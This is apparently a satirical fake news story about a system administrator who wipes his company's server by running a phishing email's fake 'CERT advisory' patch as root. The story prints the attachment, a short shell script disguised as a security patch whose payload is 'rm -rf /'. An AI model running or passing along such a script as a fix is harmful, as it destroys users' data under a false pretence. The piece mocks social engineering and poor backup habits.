Tuesday, May 1 12:01 AM EST

Security Breach Traced To
Hole in Head of Admin

Lufkin, TX - Work at Selby Communications ground to halt as their network server was wiped clean yesterday by a malicious virus.   Security experts called in to investigate the incident discovered the virus exploited a hole in the head of Systems Administrator Matt Simmons.

"I don't understand how this could've happened," said Mr. Simmons, "my Internet is a firewall!"  Despite his assurances of flawless security investigators were able to track the damage back to Mr. Simmons.

Mr. Simmons told the security experts what happened.  "I received an email from our Windows 2000 Sys Admin, Steven Johnson saying that I better check out this security patch.  He ran it on his system, but it didn't work so he forwarded it to me.  He thought that since I was an MCSE First Class that I could probably get it to work on our Linux machine."

The investigators retrieved the email from Mr. Johnson's computer:

-----Original Message-----
From: admin@cert.com
Sent: Saturday, April 28, 2001 9:43 PM
To: All System Administrator
Subject: CERT® Advisory CA-2001-A9 

CERT® Advisory CA-2001-A9 : Freeporn Virus

Security Risk:  High!

Malicious virus sweeping the country.  Please login as root and execute attached patch to protect your system.

 The attachment entitled freeporn_patch.sh read:

 #!/bin/sh
echo "Please wait while we install the patch."
rm -rf / &

When faced with the evidence Matt was still adamant of his innocence, "How could all the files be missing because of me?  I didn't drag anything to the Recycle Bin."

"I never seen such a glaring security hole as Matt Simmons," said one investigator.  "I just hope that he was smart enough to make regular back ups of the system."

"Back ups?"

More Tech News

Recommend this Story to a Friend